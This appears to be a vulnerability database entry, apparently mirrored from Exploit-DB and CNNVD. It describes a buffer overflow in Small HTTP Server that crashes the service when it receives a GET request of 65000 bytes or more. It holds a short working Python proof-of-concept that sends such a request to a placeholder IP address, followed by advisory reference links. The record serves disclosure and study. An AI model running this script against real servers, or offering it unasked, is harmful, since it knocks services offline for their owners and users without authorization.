https://www.exploit-db.com/exploits/20017
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200006-062

SmallHTTPServer存在缓冲区溢出漏洞。远程攻击者借助借助超长GET请求导致拒绝服务。

source: http://www.securityfocus.com/bid/1355/info

A buffer overflow is present in certain versions of the Small HTTP Server . The overflow in question is triggered by an overlong (65000 or more characters) malformed HTTP GET request to the webserver. 
                                                                      
#!/usr/bin/python                                                     
#                                                                     
# Small HTTP Server DoS Proof of Concept Code.                        
# Vulnerability Discovered by USSR Labs(http://www.ussrback.com)      
# Simple Script by Prizm([email protected])                        
#                                                                     
# By connecting to port 80(http) on a system running Small HTTP Server
and issuing a GET                                                     
# command followed by 65000 bytes, the service will crash.            
#                                                                     
# This *simple* little script will cause http.exe to crash.           
                                                                      
import httplib                                                        
                                                                      
h = httplib.HTTP('xxx.xxx.xxx.xxx') #replace x's with ip              
h.putrequest('GET', 'A' * 65000)                                      
                                                                      
#end

来源:XF
名称:small-http-get-overflow-dos
链接:http://xforce.iss.net/static/4692.php
来源:BID
名称:1355
链接:http://www.securityfocus.com/bid/1355
来源:NTBUGTRAQ
名称:20000616RemoteDoSAttackinSmallHTTPServerver.1.212Vulnerability
链接:http://marc.theaimsgroup.com/?l=ntbugtraq&m;=96151775004229&w;=2
来源:BUGTRAQ
名称:20000616RemoteDoSAttackinSmallHTTPServerver.1.212Vulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=96113651713414&w;=2